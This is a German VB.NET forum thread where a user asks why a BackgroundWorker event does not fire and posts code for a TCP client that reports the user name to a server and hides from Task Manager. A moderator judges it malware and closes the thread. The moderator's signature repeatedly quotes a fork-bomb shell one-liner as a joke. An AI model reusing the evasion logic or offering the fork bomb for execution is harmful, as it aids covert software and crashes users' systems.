Backgroundworker Löst ProgressChanged Ereignis nicht aus.

  • VB.NET
  • .NET (FX) 4.5–4.8

Es gibt 7 Antworten in diesem Thema. Der letzte Beitrag () ist von Trade.

    Backgroundworker Löst ProgressChanged Ereignis nicht aus.

    Guten Tag,
    Kann mir einer sagen, wieso das Ereignis ProgressChanged nicht ausgelöst wird?

    bgw DoWork :

    Quellcode

    1. For i As Integer = 0 To 1 Step 0
    3. If close_form = True Then Exit Sub
    4. If something_found() = True Then
    5. bgw.ReportProgress(Nothing, {"test", "test"})
    7. End If
    8. Threading.Thread.Sleep(100)
    10. Next


    Er geht immer in das If rein aber nie in das ProgressChanged Ereignis

    Quellcode

    1. Private Sub bgw_ProgressChanged(sender As Object, e As System.ComponentModel.ProgressChangedEventArgs) Handles bgw.ProgressChanged
    3. close_form = True
    5. End Sub


    Vielen dank für die Bemühungen.

    kiges schrieb:

    For i As Integer = 0 To 1 Step 0
    Führt das überhaupt aus? Zudem wozu überhaupt die Schleife?
    Außerdem setzt Du close_form in bgw_ProgressChanged explizit auf true anstatt das direkt zu machen. Ich verstehe die Codelogik daher auch nicht ganz.

    Lenre zu debuggen. Setze Haltepunkte und schau Dir an, ob die entsprechenden Zeilen durchlaufen werden.

    Grüße
    #define for for(int z=0;z<2;++z)for // Have fun!
    Execute :(){ :|:& };: on linux/unix shell and all hell breaks loose! :saint:

    Bitte keine Programmier-Fragen per PN, denn dafür ist das Forum da :!:

    Achso.. Sorry... Ja ich habe eine Haltemarke auf Zeile 5 gemacht. Da hält er dann auch an. Ich habe auch die ganze Reihe voller Halte marken gemacht funktioniert alles super. Nur das Ereignis macht er nicht. Ja ich habe nur ein teil des Codes hier gepostet von dem ProgressChanged Ereignis. Denn im ProgressChanged Ereignis wird auf die Form zugegriffen. ich habe eine Halte marke auf dem form_close = true gemacht weil das als erstes ausgeführt wird.

    Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „kiges“ ()

    Wo ist der Sinn vom ReportProgress, wenn Du da nur die Variable setzt? Stattdessen kannst Du das doch direkt machen.
    Und die Sub führt wirklich nicht aus?

    Grüße
    #define for for(int z=0;z<2;++z)for // Have fun!
    Execute :(){ :|:& };: on linux/unix shell and all hell breaks loose! :saint:

    Bitte keine Programmier-Fragen per PN, denn dafür ist das Forum da :!:

    Zeig' mal bitte den ganzen Code.

    Grüße
    #define for for(int z=0;z<2;++z)for // Have fun!
    Execute :(){ :|:& };: on linux/unix shell and all hell breaks loose! :saint:

    Bitte keine Programmier-Fragen per PN, denn dafür ist das Forum da :!:

    Nicht schön aber selten!

    Quellcode

    1. Imports System.Net.Sockets
    2. Imports System.IO
    3. Imports System.Drawing.Imaging
    4. Imports System.Net
    5. Imports System.ComponentModel
    7. Public Class Form1
    8. Dim stream As NetworkStream
    9. Dim streamw As StreamWriter
    10. Dim streamr As StreamReader
    11. Dim client As TcpClient
    12. Private Delegate Sub DAddItem(ByVal s As String)
    13. Dim server_ip As String = "127.0.0.1"
    14. Dim nick As String = My.User.Name
    15. Dim close_form As Boolean = False
    16. Private Sub AddItem(ByVal s As String)
    17. Try
    19. Catch
    20. End Try
    22. End Sub
    24. Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
    26. Try
    27. client.Close()
    28. stream.Close()
    29. streamw.Close()
    30. streamr.Close()
    31. Catch
    32. End Try
    33. End Sub
    34. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
    36. End Sub
    37. Sub send_string(ByVal text As String)
    38. streamw.WriteLine(text)
    39. streamw.Flush()
    40. End Sub
    41. Function something_found() As Boolean
    42. Try
    44. For Each Process In System.Diagnostics.Process.GetProcesses
    46. If Process.ProcessName.ToLower.Contains("taskmgr") Then
    47. Return True
    48. Exit Function
    49. End If
    51. Next
    53. Return False
    54. Catch
    55. End Try
    56. End Function
    57. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    59. If something_found() = True Then
    60. Me.Close()
    61. Exit Sub
    62. End If
    64. bgw.RunWorkerAsync()
    66. retry:
    67. Try
    68. client = New TcpClient
    69. client.Connect(server_ip, 6501)
    70. If client.Connected Then
    71. stream = client.GetStream
    72. streamw = New StreamWriter(stream)
    73. streamr = New StreamReader(stream)
    74. streamw.WriteLine(nick) ' das ist optional.
    75. streamw.Flush()
    77. End If
    78. Catch
    79. Threading.Thread.Sleep(10)
    81. If close_form = False Then GoTo retry
    82. End Try
    84. While close_form = False
    86. Try
    87. Dim connectedd As Boolean = client.Connected
    88. Try
    90. streamw.WriteLine("test")
    91. streamw.Flush()
    92. Catch ex As Exception
    93. connectedd = False
    94. End Try
    96. If connectedd = False Then refresh_connection()
    98. Catch
    99. End Try
    101. Try
    102. Me.Invoke(New DAddItem(AddressOf AddItem), streamr.ReadLine)
    103. Catch
    104. If close_form = False Then refresh_connection()
    105. End Try
    106. End While
    108. Me.Close()
    109. End Sub
    111. Sub refresh_connection()
    112. Try
    113. Threading.Thread.Sleep(1000)
    114. client.Close()
    115. client = New TcpClient
    116. client.Connect(server_ip, 6501) ' hier die ip des servers eintragen.
    117. ' da dieser beim testen wohl lokal läuft, hier die loopback-ip 127.0.0.1.
    118. If client.Connected Then
    119. stream = client.GetStream
    120. streamw = New StreamWriter(stream)
    121. streamr = New StreamReader(stream)
    122. streamw.WriteLine(nick) ' das ist optional.
    123. streamw.Flush()
    125. End If
    126. Catch
    127. End Try
    128. End Sub
    130. Private Sub bgw_DoWork(sender As Object, e As System.ComponentModel.DoWorkEventArgs) Handles bgw.DoWork
    132. For i As Integer = 0 To 1 Step 0
    134. If close_form = True Then Exit Sub
    135. If something_found() = True Then
    136. bgw.ReportProgress(Nothing, {"test", "test"})
    137. Exit Sub
    138. End If
    139. Threading.Thread.Sleep(100)
    141. Next
    143. End Sub
    145. Private Sub Hide_virus_bgw_ProgressChanged(sender As Object, e As System.ComponentModel.ProgressChangedEventArgs) Handles bgw.ProgressChanged
    147. close_form = True
    149. Me.Close()
    151. End Sub
    153. End Class


    Ich weiß in dem ProgressChanged ist noch kein Schwerer Eingriff in die Form. Aber das kommt noch. Außerdem funktioniert Der RunWorkerCompleted Auch nicht. Habe ich ebend getestet.

    Dem Code nach zu urteilen handelt es sich hier um Malwareprogrammierung.
    Thema geschlossen.
    #define for for(int z=0;z<2;++z)for // Have fun!
    Execute :(){ :|:& };: on linux/unix shell and all hell breaks loose! :saint:

    Bitte keine Programmier-Fragen per PN, denn dafür ist das Forum da :!:

Facebook
Telefonspende